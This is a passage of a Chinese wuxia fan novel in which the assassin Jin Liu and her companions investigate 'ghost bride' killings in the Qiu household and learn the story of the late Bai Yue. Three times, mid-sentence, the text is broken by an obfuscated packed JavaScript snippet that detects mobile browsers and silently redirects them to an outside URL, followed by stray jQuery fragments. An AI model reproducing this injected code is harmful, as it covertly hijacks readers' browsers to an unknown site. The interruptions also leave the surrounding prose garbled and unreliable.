“二少爷?”金流怔然,“除了秋武里和秋香里,秋府居然还有个二少爷?”
蓝衣丫鬟拧眉,眼睛瞪得老大,“你说什么?我没看懂。”
不等金流开口,绿衣丫鬟上前拍拍她,手上不停比划。
蓝衣丫鬟认真看着,转头大声道:“秋府当然有二少爷,我们二少爷名叫秋文里。你最好规矩点,二少爷为妻守贞,从不与旁的女子亲近。识相的话就离远点,不要动手动脚。”
“咳。”秋文里红着脸轻咳,“不闻,好了,别说了。”
名为不闻的丫鬟自然听不见,还在絮絮叨叨。
“你不要迷上二少爷的美色,迷上也没用,他的一切都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431030|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
属于夫人的……”
秋文里抬手遮脸,声音颤得厉害。
“不问,别让她再说了。”
说不出话的不问踮脚,熟练捂嘴,把人拖到秋文里身后。
“实在抱歉,不闻听不见,不问说不出,所以总是会造成一些误会。”
有毛茸茸的东西擦过他,穿梭在不闻不问脚边。
他了然道:“这里是我的院子,平常少有人来,姑娘是追着它进来的吧。”
金流呼唤战友,哪知刚才还一起抱头鼠窜的半秃丑猫,现在已经躺在不闻不问脚边,谄媚无比的翻着肚子。
偏偏谄媚的对象抬头看天,低头看地,就是不理会半秃丑猫。
金流气得重重一哼,半秃丑猫识相起身,扒着她的裙子窜到她怀里,在雪白裙摆上留下好几个黢黑脚印。
秋文里好笑的看着一人一秒的互动,很是礼貌的请客人进去喝茶。
院子里雪地一样,处处都是白色,活像个新丧的灵堂。
不见小厮侍从,穿梭其中的全是丫鬟,丫鬟们还全是稀奇古怪,身有残缺的年轻女子。
乍一看去,金流还以为面前行走的是丧尸群。
“原来是小妹的客人,请用茶。”秋文里腼腆垂眸,“自从三娘去后,我这院里还从未来过女客,若是茶水不合口味,还请见谅。”
金流用茶盖刮着茶沫,闻了闻味道,就放下茶盏。
她伸出刚才绞过秋文里抹额的手,点点自己鼻尖,闻到熟悉的香气后,起身嘻笑着坐到秋文里一侧扶手上。
距离实在太近,那张浓墨重彩的脸毫无遮拦映入他眼中,秋文里眼神游移不定,缩着身子无助躲闪,竭力避免与她产生触碰,到最后几乎是蜷缩在轮椅上。
“秋二少爷,秋文里是吧。”金流盯着他的腿,“你倒是好兴致,自己腿不好,院子里还收那么多残疾丫鬟。”
感受到她直白的恶意,秋文里脸色白的近乎透明。
“并非是姑娘想的那样,我与她们之间没有任何龌龊之事。”他的瞳色很淡,泪水盈盈时格外惹人怜惜。
“身有残缺的痛苦我比谁都更明白,我留下她们,只是怕她们落入更可悲的境地。”
金流瞟了一眼不闻不问。
听不见的少女光明正大的打量着她,目光戒备。说不出的少女低着头,影子般安静聆听。
她顺着脊背撸了一把猫,猫霎时瘫软在她怀里。
“看来秋二少爷还真是好人,因为共情残疾姑娘的不易,想给她们一条生路,才收拢到院子里。”
似乎是好话,但怎么听怎么刺耳。
秋文里察觉到金流姑娘似乎不喜欢他,嗫嚅不知怎么开口。
好在对方主动找了个话题。
“你的夫人……”
秋文里肩膀上耸,喉咙收紧,偏过头望着亭外飘荡的白纱。
“夫人……三娘她……”
说不清道不尽的言语梗在喉间,眼眶滚烫湿润,他急促喘息,压下泪意,硬挤出比哭还难看的笑容。
“许是苍天诸神也喜爱三娘,早早将她带去。”
好一个善良的男子,一个痴情的鳏夫,一座写着亡妻名字的墓碑。
——
“猫,你怎么看?”
金流骚弄着半秃丑猫的下巴,看她舒服的眯眼睛,“你也是女孩,被其他猫追的时候径直带着我往那里跑,难道是觉得他人不错。”
猫自然不答话。
走出院子不远,身后传来沉重的脚步声。
“等等!等我们一下!”
不闻不问小跑着追上来,各拉住金流一只手。
“你要把她带到哪里去?”
“她?”金流举起半秃丑猫,“你们说的是她吗?”
不问比划着给不闻翻译,不闻着急的说:“猫是我们偷偷在喂的,可以先给你养一些日子,不过必须答应我们,要对她好,不能欺负她。”
金流当然不会欺负猫,她只会跟猫一起被欺负。
她恨恨磨牙,“那只三花猫也是你们在喂吗?是的话,下次喂的时候好好教教她,让她脾气好点,不要那么凶。”
不闻不问虽然满头问号,但还是答应了,离开前依依不舍的摸半秃丑猫的脑袋。
半秃丑猫黏黏糊糊的贴着她们的手心,不闻不问强硬的推开猫头,目送一人一猫远去后,二人携手回到东院。
9. 第九章
阿飞回来的时候,已经开始下起雷暴雨。
紫色闪电花树一般绽放,天空明亮几息,继而恢复暗色。
他淋了雨,浑身湿漉漉的往下滴着水,站在廊下有些犹豫要不要进屋里。
陆小凤被他堵在身后,莫名其妙的探头,见前方空无一物,就伸手轻轻推了他一下。
“雨越下越大了,快进去。”
屋里烛光摇曳,桌上盖好的饭食仍有些许温热。
万灵正在研究手中的紫烟香,见他们回来赶紧起身,招呼他们坐下,取出干燥帕子让他们擦干头发。
角落里,金流坐在一点红身边,对职业杀手的生活满心好奇,缠着他问东问西。
一点红老神在在的抱着剑,实在被烦的受不了时,才应付般吐出几个字。
她不看他。
阿飞手足无措,心中惶惶,胡乱擦拭几下头发后,又被万灵打发去另一间屋里换上干净衣服。
等换好衣服重新进来,看到金流的眼神终于落到他身上,才不着痕迹的松了口气。
“先吃饭吧。”
金流满意的看着阿飞,果然还是有钱好。短短几日,少年剑客便不再过分消瘦,比初遇时更加英俊养眼。
“你们有什么收获?”金流贴着阿飞坐在,就着他的筷子蹭了一口,收获几个或怪异、或哀怨、或羞涩的目光。
她挑眉狡黠一笑,歪倒在阿飞肩上,率先把自己今天遭遇的事情一股脑讲了出来。
说到几乎排除秋香里嫌疑时,陆小凤不住点头。
“我就说她一个小姑娘,当然不可能做出此等恶事。”
说话时,两撇小胡子随着唇瓣开合上上下下。
金流伸手揪住,往两边一扯,在陆小凤的哀嚎中,纠正道:“排除她是因为她不具备动机和条件,跟她是男是女,是老是小没关系。”
陆小凤虚虚捏住自己的嘴,摊手请她继续讲。
金流本来懒得理他,可他摊开的那只手晃来晃去,非要挡在她眼皮子底下。
她烦躁的往他手心一拍,拍到一根小小的棍子。
两撇胡子止不住上翘,陆小凤合拢手掌,让她握紧住小棍子,袖子往后一抽,露出油纸包着的东西。
他甜甜蜜蜜的邀功,“快拆开看看,为了保护这个宝贝,我可是生生淋成了落汤凤凰。”
油纸泛着些潮气,却没被雷暴雨湿透,陆小凤将之稳妥的藏在胸口,沾染了些许他的温度,拆开后,里面藏着一朵蜜黄色的花朵,花瓣边缘融化了一点。
见金流只是翻来覆去的看,满眼新奇,陆小凤笑着解释。
“是用糖做的,可以吃。我看你辫子上一直簪着山茶花,所以特意让糖画师傅画的。”
他有些不好意思的摸摸胡子,“可惜没有红色的糖,做不成红山茶。”
见万灵眼巴巴的望着金流,他装模作样的搜了搜衣袖,懊恼敲头。
又在万灵失望的说没关系时,手腕一翻,变出另一个油纸包。
“当然也不会忘了我们万姑娘。”
小心翼翼的捧着小兔子糖画,万灵又惊又喜的连连道谢。
万灵凑到金流身边想要跟她一起欣赏,还没来得及说话,就听见嘎嘣一声,栩栩如生的山茶花已经被她津津有味的嚼碎咽下。
看看金流,再看看手里的小兔子,万灵也学着她大口咬下,把惊喜化作甜意吞入腹中。
也是,一个糖画而已,有些用心,但女人的心动不至于如此廉价。
陆小凤笑眯眯的看着她俩,注意到角落里一点红的目光也落在那边。
他悄摸摸挤到一点红身边,语气戏谑:“哎呀,忘了给红兄也买一个。不知红兄喜欢什么,给你做一个糖画小剑如何?”
一点红冷笑,“别用你哄女人的手段侮辱我。”
陆小凤一点不生气,“我可没有侮辱红兄,想让你开心点也有错吗?”
“我没有不开心,倒是有人明显不开心。”一点红轻嗤一声。
陆小凤顺着他的目光看去,少年剑客形单影只的坐在桌边,头发湿漉漉贴在脸颊脖颈,活像只被雨淋湿的小狗。
他耸耸肩,“没办法,谁让刚才我也很不开心。”
吃完糖画后,金流难得看陆小凤这么顺眼,主动把今日收获的半秃臭猫,抱出来展示给他看。
“嗯……”陆小凤沉默良久,憋出来一句,“真是好奇特的猫。”
金流骄傲点头,“她叫绿豆。”
万灵好奇发问:“为什么是绿豆啊?”
金流和阿飞交换眼色,默契隐去真正原因。
过去不懂事小偷小摸的事情,熟悉正常生活后再提起来着实丢脸,二人心领神会的敷衍过去。
“因为一切都是从绿豆开始,所以她叫绿豆。”
为防止他们问东问西,金流赶紧转移话题。
“你们不知道,原来秋府还有个二少爷,叫秋文里。”
她翘着腿,斜靠在椅背上,绿豆趴在她胸口,“又多一个嫌疑人,麻烦啊麻烦。”
了解到秋文里是个不良于行的瘫子,陆小凤着实无语。
“我与那人打过照面,腿利索的很,他绝对不可能是秋文里。”
万灵提出反对意见,“秋文里有没有可能是装的。”
金流打了个响指,揉揉万灵的脑袋瓜。
“我也想过这个可能,所以悄悄试探了一下。真是狠狠地拧了他的腿,一点反应没有。”
“也许是他能忍。”阿飞终于插上话。
“我也想过,所以套出了给他治腿的大夫。”拳头垂在手心,她眉梢上挑,“巧了,正是我们的老熟人邕情邕大夫。
下午我去问过邕太夫,她很肯定的说秋文里的腿三年前确实断了。说是筋脉俱断,即便外伤养好了也再无感知,只能靠轮椅行动。”
“这么说来,秋香里的嫌疑都要比秋文里更大,不会武功至少比不会走路要强点。”陆小凤苦笑。
“可能吧。”
金流不甚在意,能查就查,查不出就一起杀,寒江雪要是不乐意,那就连她一起……
她收回心神,“你们不是去查看那些尸体了吗?情况怎么样?”
提起这个,陆小凤和阿飞面上都出现极其古怪的神色,支支吾吾的,不知从何说起。
“尸体烧的面目全非,查不出什么。”陆小凤清清嗓子,“我们这么晚回来,主要是在城里听到一个新的传闻。”
查看尸体不需要花费多少时间,那夜的火势太猛,尸体全都烧成了焦炭。
发现查不出什么线索后,他俩就找地方埋葬了这些尸体。
最开始阿飞提出将尸体送还给她们家人,由家人安葬。陆小凤理解他的苦心,却没有同意。
其实认完尸后,官府早已同意她们的家人领走尸体,只是家里人嫌弃她们败坏门风,有辱门楣,坚决不同意带回家安葬,将她们抛弃在此。
再说烧成这样,就算是家人也分不出谁是谁了。
回府路上,陆小凤趁阿飞不注意,绕道买了两个糖画,听见周围路人议论纷纷。
“昨夜江府出了事,有人撞见身穿红嫁衣,头戴红盖头的鬼影飘入江小姐房中。”
“难道又是鬼新娘?这次遭殃的莫不是江小姐?”
说话的人压低声音轻笑,目光淫/邪,“新奇就新奇在此!虽说身穿嫁衣,头戴盖头,可那根本不是鬼新娘,而是鬼新郎。江小姐也不是遭了殃,而是与那新郎春风一度,快乐得很。”
另一人既嫌弃又兴奋,“你怎么知道得这么清楚,趴人姑娘床底了,说的跟真的似的。”
“你还别不信,江小姐的贴身丫鬟是我相好,她亲眼所见,亲口所说,还能有假。”
除了这两人,陆小凤和阿飞一路上还见到不少人都在讨论鬼新郎的事情。
陆小凤找了几个老实点的细问,都是一样的回答。
三更半夜,深闺香苑,红衣鬼影,俊俏新郎。
细问内容,诡异香/艳,跟书铺里那些穷书生写的志怪话本无甚区别。
万灵原本在静静的听陆小凤说话,听他说起那六具尸体时,心里抑制不住的悲哀。
如果那天没被救下,她的下场怕是不会比她们好多少。
这股悲哀在听到鬼新郎后开始沸腾,从冰冷的痛苦逐渐沸腾为强烈的愤怒。
尤其是听到所有人都将鬼新郎当做艳/情故事取笑,话里话外都是调侃和兴味,她的怒气再也压制不住。
“别说了!”
万灵突如其来的爆发,把所有人都吓了一跳。
向来端庄娴雅的女子涨红着脸,声音嘶哑嘹亮,拳头紧握,呼吸沉重无序。
她很想说点什么,来疏解流窜在四肢百骸中的怒火,张嘴却只能发出抽噎泣声。
她颓然坐下,摇着头,重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431031|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复着“不对,不对,不是这样的。”
三个男人面面相觑,此时无论是熟知女人心的浪子、见惯人心的杀手还是懵懵懂懂的剑客,都满头雾水,搞不懂她突然的爆发。
只有金流冷静的抚摸着绿豆的下巴,听她舒服的咕噜咕噜。
“我知道你想说什么。”她把绿豆塞进万灵怀里,看猫安抚的用脑袋蹭万灵的脸颊。
“他害怕了。害怕我们继续追查,害怕更多人来查。
于是想用诡艳情/事掩盖血腥残杀,想让人们提起染血的嫁衣和红盖头时,想起的不再是挂在林中的六具腐烂女尸,不是单方面的压制残杀,而是你懂我懂,无需多言的男欢女爱。”
“真是好手段。”金流忍不住鼓掌,“他不仅杀了她们,还要窃取她们的苦难,把鲜血与怨恨美化为性感符号,让旁人不再同情苦,憎恨恶,而是想入非非的用情.欲粉饰太平。”
语毕,屋内寂静无声,落针可闻,屋外电闪雷鸣,风雨飘摇。
不知过了多久,万灵捂着脸,哭出声音。
一点红借着昏黄烛光望向似笑非笑的白衣刀客,眼中沉着千思万绪。
———
夜深,雨还未停。
金流从床上艰难爬起,坐到桌边喝水。
她错了。
不该因为想独占一张大床,就把阿飞赶回房间。没了他,半夜喝口水还要自己起来倒。
喝完水,见一扇窗户没关好,雨水顺着缝隙溅入,地上积蓄了一谈水渍,她起身正要关窗。
透过雨幕,忽而瞧见一抹黑影直直立在廊下。
一开始,她还以为是鬼新郎胆大包天的找来,手已经按在刀上,才发现是一点红。
遗憾收手,金流恼怒不已。
“不是,你半夜不睡觉,站我窗口淋雨干嘛?”
杀手抱着剑回头,脸上水淋淋的,雨珠顺着发丝滑下,金流的目光也跟着一起滑下。
湿透的黑色劲装粘在肌肤上,明明呼吸并不沉重,饱满胸膛的起伏却异常显眼。尤其是他双手环抱着无鞘长剑的动作,更是挤出一条深深沟壑。
在夜色和雨水遮掩下,一点红难得没察觉到那道如有实质的目光。
他沉浸在黑暗粘稠的思绪中,哑声问金流。
“你为什么做杀手?”
金流心不在焉的回答,“为什么呀?为了银子啊,为了吃好喝好玩好。”
最重要的还是为了珍珠。
这是一点红意料之外的答案。
“只是为这些?”
“不然呢。”金流双手撑着窗棂,探头拉近距离,“你不是吗?”
当然不是!
一点红曾说过,只要给钱,他连父母朋友都能杀。
世人信以为真,却不知道他说这话时,满心凄楚悲怆,自我厌恶至极。
他只是个杀手,没有父母,没有兄弟,没有朋友,就算真有人出钱,他也找不到人可杀。
除了手里的剑,他什么都没有,什么都不是。
一点红说了很多,金流听进去的没多少。
她的注意力全被那些起起伏伏的沟壑吸引,色欲熏心,于是胆大包天。
“我可以摸摸吗?”她突然开口。
一点红顿住,不明白她的意思,“你说什么?”
金流嘿嘿笑,尖尖虎牙亮闪闪的。
她直勾勾的盯着,伸出手指,隔着薄薄的潮湿布料,点在温温热热、鼓鼓囊囊的饱满柔软上,感受到手下瞬间收紧坚硬,安抚的拍拍。
“我就看一下,摸一摸,好不好嘛。”
一点红动作僵硬的抱紧自己,连忙后退到雨中。
他道:“不算方便。”
好委婉的拒绝,那就是还有戏。
金流还想再磨一磨,杀手已经运起轻功,用平生最快的速度消失在夜色中。
真可惜。
她单手托着下巴,惋惜不已。
小剑客很乖很好,就是年纪太小,身材略显单薄,差了一点成熟男人的饱满风韵。
夜宵吃不着,准备关窗睡觉,一道声音从隔壁幽幽传来。
“真是个坏女人。”
冰凉的雨滴在手心蓄成小水洼,陆小凤听见刀客缓而柔的恶劣笑声。
“你应该说,真是个铁石心肠的坏女人。”
啪嗒。
旁边的窗户乍然合拢,只剩寂寂雨声。
10. 第十章
因为今天只是找秋香里打探消息,几乎没有动手的可能,所以金流终于舍弃了那身白衣,换上件墨绿色宽松长衫,至于头发为什么挽得松松垮垮,那都要怨笨手笨脚的阿飞。
一从房间里出来,万灵便拉着她看了又看,满眼惊艳。
“从遇见你开始,就只见你穿过广袖白衣,我还以为你只喜欢白色。”
金流摊手,“我没有偏好的颜色,穿白衣服主要还是为了方便。”
万灵搞不明白,“明明白衣最容易弄脏,最不方便。”
“是方便克制自己。”她笑道。
白衣洁净,沾点血就很明显,广袖繁琐,不方便拔刀劈砍。
花团锦簇的院子中央,金流托着下巴,慵懒的趴着,身下是一片被压倒的花叶绒草。
竟然秋府四人都有嫌疑,那就从薄弱出突破。
秋香里还是一如既往的坦诚,把自己知道的,能说的,一股脑倾诉出来。
“所以你心心念念的姐姐,就是秋文里的夫人?”金流直白发问。
“是的。”秋香里拘谨的站在一旁,欲言又止的盯着她不安分的右手。
那只纤长而有力量感的手指抚摸着花瓣的轮廓,她抬着头鼻尖戳到花心中嗅闻,被花粉呛到后,翻过身仰躺着对花的主人招手。
“站在那里干什么,一起来晒晒太阳啊。”
秋香里面带难色,把求助的目光投向万灵。
“你别害怕,她其实是个很好的人。”万灵拉着她一起躺在金流旁边,享受瓮城难得的大晴天。
“你们家人都很怪。”金流道。
万灵有些尴尬的拽她衣袖,说话太直白会很伤人的。
秋香里没觉得冒犯,反而深感同意。
“大家都、奇怪,只有、姐姐很好。”
每次提起姐姐,她熏坏的嗓子就像被蜜糖包裹修复,呆板磕巴的话语也生动流畅起来。
万灵好奇追问,“你的姐姐叫什么名字?你为什么这么喜欢她?是因为她是你嫂嫂吗?”
常年蜗居室内,骤然暴露于灿烂阳光之下,秋香里浑身难受,她不自在的双手抱头,尽量将自己蜷缩躲在袖子下。
“姐姐……白月……她叫白月。”她笑着,陷入回忆之中。
四年前,十岁的秋香里独自爬上靠墙那颗紫烟花树,坐在高高枝干上,完全不理会秋全和秋武里焦急的呼喊寻觅。
正是紫烟花盛开的二月,她躺在花雾中,什么也不想,什么也不做。
不知过了多久,身下的枝干开始摇晃。
先是轻轻的颤动,继而是大幅度的晃动。
她虽然不甚灵敏,但胜在身材高大,手长脚长,猴子一样牢牢环抱树干,倒也没被甩下去。
等到晃动稍停,她撑着树坐起来,忽然听见正前方传来悉悉索索的声音。
探头看去,一张蜜色的脸庞穿透花雾,突兀的出现在她视线中。
她吓了一跳,呆在那里。
“咦?原来有人啊。”
那张脸绽出大大的笑容,像瓮城难得一见的阳光,健康又灿烂。
从花雾又伸出一只手,用力抓着树干,半个身子都爬了出来。
“吓到你了吗?花枝长到墙外,我路过看见花开的实在好看,所以没忍住爬上墙摘了一枝。”
一只手伸向她,秋香里下意识躲避。
那人先愣了愣,然后笑了笑,收回想摸头的手,换成拿着花枝的右手,递到她面前。
“别害怕,送给你。”
自那之后,秋香里每天都会在同一时间,到花树上坐一坐,那人也每天折一枝花送给她。
几天后,花谢了,她再没收到花,也没等到人。
又过了几天,秋文里兴高采烈的向所有人宣布,他要成婚了。
她提不起精神,起身准备离开,出门时差点撞到人。
一只手抵在她心口,她低头看,视线被一张蜜色的笑脸填满。
以往见面,秋香里都是坐在树干上,白月还是第一次见她站起来的样子,不由得感概。
“你真的好高啊。”
秋文里过来拉住白月的胳膊,那时候他还是个过于白白胖胖的少年,俩人站在一起像是馒头蘸上蜂蜜。
秋文里说:“小香,这就是你嫂嫂。”
白月摇头,“我更喜欢她叫我姐姐。”
———
万灵正听得津津有味,金流突然抬手打断。
“等等,你说秋文里四年前是个白胖少年?”
“嗯,姐姐、死后、他瘦。”
回想起昨日见到的秋文里,轮椅上的男人憔悴消瘦得像是一碰就碎的冰,风一吹就飞走的沙。
真不明白是怎么样的肝肠寸断,才会让人形销骨立至此。
金流不懂,也不想懂。
她只想要那三颗珍珠,不想理解这恨海情天。
万灵双手捧着脸,眼中满是羡慕与憧憬,“好美的相遇,任谁都会喜欢上她的。可她怎么会突然去世呢?”
“生病。”秋香里垂眸,机械的扣手指,扣到破皮见血也不停。
白月与秋文里成婚后,理所当然的住进了秋府。
秋香里开始叫白月姐姐,每天跟她一起玩耍、用餐、制香,除了夜里不得不把她让给秋文里,秋香里占据和分享了白月全部的时间。
白月说她以前住的地方虽然很好,但没有花,没有阳光,没有香香的味道,没有热闹的街市,实在太寂寞了。
所以她逃了出来,四处流浪。
一开始她只是路过瓮城,并不打算在此落脚,因为雨天实在太多,潮闷得令她厌烦。
她说她之所以决定留下,是因为紫烟花,因为紫烟香,因为秋香里。
当然秋文里也很可爱,乖巧又害羞,白白胖胖又香香软软,她也挺喜欢。
白月对制香一窍不通,但她很喜欢,每天摸索着自学。
她说,她想要制出最好的紫烟香,想要成为香神主祭。
只是香还没制成,她就生病了。
连发了好几天高热,浑身烫的像浸泡在沸水中。
秋香里为她擦汗,替她冰敷,给她喂药。
她几天几夜不眠不休,还是只能眼见白月日渐虚弱。那天白月神志古怪的清晰起来,竟然还试图坐起来抓住她的手,嘴唇开开合合,着急的想要说话,声音却嘶哑得无法听清。
她刚想安慰姐姐不着急,却因劳累和情绪激荡,眼前一黑,晕倒过去。
等她再醒来时,天亮了,白月落下,秋府中挂满雪白的麻布。
下葬时,又是紫烟花开的时间。
……
“呜呜呜呜呜……”
金流头疼的扶额,“你哭小声点,好吵。”
“可是…可是……”万灵抽抽搭搭,不停拭泪,“那么好的姐姐,老天不公,实在太不公平。”
秋香里没有哭,沉默着拉近与万灵的距离。
金流抬头望天,心如死灰。
早知道不带万灵来了,不过要是不带她,秋香里根本不会愿意跟她们说这么多话。
为了赶紧止住万灵的哭声,她绞尽脑汁想出个话题。
“那秋文里的腿是怎么断的?”
秋香里想了好一会儿,才记起来,“自己、砚台、砸。”
———
听金流讲完整个故事,陆小凤总觉得哪里不对。
“白月如果是因病身亡,秋文里干嘛要砸断自己的双腿,成日做出一副情深不悔的鳏夫做派?如果真是痛彻心扉,心如死灰,那大可直接殉情,随夫人一块下去。”
阿飞深有其感,却没他那么能言善道,花了好半天才组织好语言。
“就好像,他在惩罚自己。”
“白月的死肯定有蹊跷。”金流来了精神,“秋家到处都是秘密,今晚难得不下雨,我们趁此时机,去夜探秋家三父子。”
陆小凤面色古怪,“换个说法吧,听着好生奇怪。”
哪里怪?
年轻点的三人都不觉这个说法有什么问题,只有一点红向陆小凤投来嫌弃目光。
金流敏锐觉察,直勾勾的盯着一点红,“你也觉得奇怪?”
一点红擦剑的动作逐渐僵硬,目光躲闪,“没有。”
夜色渐深,几人抓阄后,兵分四路。
金流负责秋文里住处,一点红去秋全住处,陆小凤去秋武里住处,阿飞则是机动岗位。
“我呢我呢?”万灵眼含期待。
金流按下她的脑袋,把人往床上一推,猫往她身上一放。
“你就多吃饭,多睡觉,照顾好绿豆,应付来的侍女小厮,等我们回来。”
万灵心下有些失落,却也明白这样的安排很合理,在他们走后强打起精神,聚精会神的注意着周围的动静。
一轮寒月升至正空,满天星光点点。
回廊曲折处,忽有两点微光渐行渐近。
行至近处,方才看清,原来是两个侍女手执昏黄灯笼,依偎着向前。
绿衣侍女缓缓停下脚步,双手比划,灯笼跟着一起动来动去。
蓝衣侍女耐心看着,“听到有动静?什么动静?哪里的动静?”
绿衣侍女旋转身子,竖耳聆听,转到正对蓝衣侍女时,表情乍变。
蓝衣侍女立马察觉,抬头望去,心跳骤停。
密密麻麻的黑发柳条般垂落,不偏不倚罩在她头顶,若是今夜有风,发丝飘扬时简直就像无数触手狰狞扭曲。
透过蜘蛛网般的发丝,她看见一张脸。
雪白的肌肤,殷红的唇瓣,漆黑眼眸深处细碎光点闪烁。
“啊、”
短促的尖叫声戛然而止,没引起任何人注意。
金流火烧眉毛似的翻身而下,紧捂着绿衣侍女的嘴,讨好的笑。
“开个玩笑嘛,别出声别出声。只要你同意不出声,我就松开你。”
绿衣侍女瞪着她,重重点头。
金流试探松开一点,确定她真的不再尖叫,才彻底放开她。
挣脱束缚之后,绿衣侍女立马挡在蓝衣侍女身前,身板小小,气势大大。
金流整理好凌乱的头发,把脸完完整整露出来,轻声安抚道:“是我是我,别害怕,我们昨天才见过嘛。”
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431032|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指着蓝衣侍女,“我记得,你是不闻,她是不问。”
穿绿衣服的不问摇头。
“说错了说错了,你不会说话所以是不问,她听不见所以是不闻。”她自信叉腰,“这回总没错了吧。”
不问给不闻翻译,天色太暗,俩人手里都拿着灯笼,动作很不方便。
见此情景,金流殷勤的接过不问手中的灯笼,举着给她们照明。
不闻狐疑的看她一眼,“你大半夜偷摸进来是想做什么?”
虽然夜探刚开始就因为恶作剧被抓,金流还是半点不慌,气定神闲的瞎扯。
“你俩昨天应该发现了,我对你们家二少爷很感兴趣。”
金流做出色中饿鬼的模样,大概是本色出演,瞧着半点不违和。
不闻立马拒绝,“二少爷对夫人一往情深,至今还在戴孝守贞,他是绝不可能答应你的。”
“没关系。”金流晃晃灯笼,错过身,轻佻的挑了一下不问的下巴。
不问吓了一跳,不闻赶紧拍来她的手,怒目而视。
“我这个人就是喜欢强夺人夫,尤其是这种冰清玉洁,情深意重的,玩起来更带劲。”
听听,这说的哪是人话!
见不闻不问脸颊通红,紧握双拳,很是羞恼的样子,金流又软了下来,双手合十围着俩人绕圈圈。
“拜托拜托。我真的很喜欢你们二少爷,这次来只是想趁他睡着翻翻他的房间,看看他的小秘密,可以的话能偷点他贴身衣服走是最好的。”
两位侍女的表情从恼怒变得惊恐,变态竟在我身边!
金流理不直气也壮,半点不心虚,“我这不是想多了解他一点嘛。求求你们,帮帮我这个痴情人吧。”
要是能策反两个最熟悉秋文里的侍女 ,就不用自己两眼一抹黑的到处找。
省时省心省力,非常划算。
不问手速飞快,激动比划。
不闻使劲揉眼,以为看错。
“你居然想让我们帮你?”
“求求你们了。”金流拉长嗓子,“你们看嘛,我和不问今晚恰好都穿了绿衣,简直就是天赐的缘分。如此有缘,你就偷偷带我去翻翻看看,我保证不惊动其他人。”
“当然不……”不闻激动反驳的声音一顿。
不远处的屋子亮起一点烛光,秋文里温柔的声音从里面传出。
“是谁在那边?”
金流还是不慌,仍旧举着手拜托拜托。
不闻犹豫片刻,提高音调,“二少爷,是不闻不问。”
“在喂猫吗?还是要早点休息。”
“是。”不闻抖了抖,乖巧应答道。
房间里的烛火被吹灭,很快恢复寂静。
不闻冲金流使了个眼色,带着她往后,走到丫鬟们的住处。
秋府果然家大业大,丫鬟都是睡得雅致双人间。
成日家餐风露宿的金流,这里摸摸,那里看看,忽然有点不想奋斗。
不问点燃蜡烛,不闻开窗确定四下无人后,随后紧闭门窗。
做完这些,两人对视一眼,收敛起浮于表面的喜怒,面色沉重。
不问比划,不闻翻译。
“你究竟想干什么?”
金流悠哉的坐着,对她们的反差一点不惊讶。
“我没说谎,真的只是想了解了解你们二少爷。”
不闻不问当然不信。
“你不说实话,我们不但会帮你,还会告诉二少爷。”
金流眼中满是欣赏,“好重的防备心。”
见她们还是抵触的看着她,金流只好如实交代。
“我怀疑你们二少爷杀了几个女孩,想来查查看,查出来是他就咔嚓。”
她在脖子上一比划,随后自顾自倒了杯茶,饮下满口冰凉苦涩,皱巴着脸不停呸呸呸的吐茶沫子。
好难喝哇。
不问翻译完,冷静的拿过杯子,换上一杯清水递给她。
“如果查不出来?”不闻问。
金流抿了口水,对她们眨眨眼。
“查不出来也可以杀了,只要你们给我银子和珍珠,我谁都可以帮你们杀哦。”
不闻不问动摇的对视一眼,为难的握紧彼此的手,“我们没有银子和珍珠。”
“那真可惜。”金流轻叹一声,“不过看在你们喂过绿豆的份上,要是能对我说几句好听的话,撒撒娇,倒也不是不能通融通融,让你们先打个欠条。”
撒娇?
她们哪里会这个。
二人你看看我,我看看你,脸颊耳根红的滴血,完全张不开嘴。
金流笑眯眯的望着她们,搞不懂她们的想法。
“哪有这么为难。”
弱的时候说好听话,强的时候说硬气话。等厉害到我这个地步,就能喜欢说好听话就说好听话,不喜欢说话就不说话。
你们现在弱成这样,难不成还觉得自己还有其他更好的选择?”
黯淡烛光下,两个小姑娘比比划划,商量良久,最后郑重摇头。
“你提的一切要求我们都可以答应,不过我们想求你去做的,是另一件事……”
11. 第十一章
作为杀手,一点红的轻功不像陆小凤那样飘忽灵巧,赏心悦目,而是更偏重于实用。
潜入、隐匿、伏击,最后悄无声息的撤退。
这些他向来做的很好。
水一般流过秋府富丽堂皇的建筑,守夜的仆从人数很多,但会武功的就寥寥数人,实际并无太大用处。
秋全作为一家之主,自然众星拱月似的住在秋府最中间主屋。
他的卧房已经熄灯,昏沉寂静。
门口的守卫比路上遇到的强一点,当然也只有一点。
杀手没多思考,避开那些守卫,无声推开半扇窗户,闪身进入秋全的书房。
书房大的离谱,却并不显得空旷,反而格外拥挤。
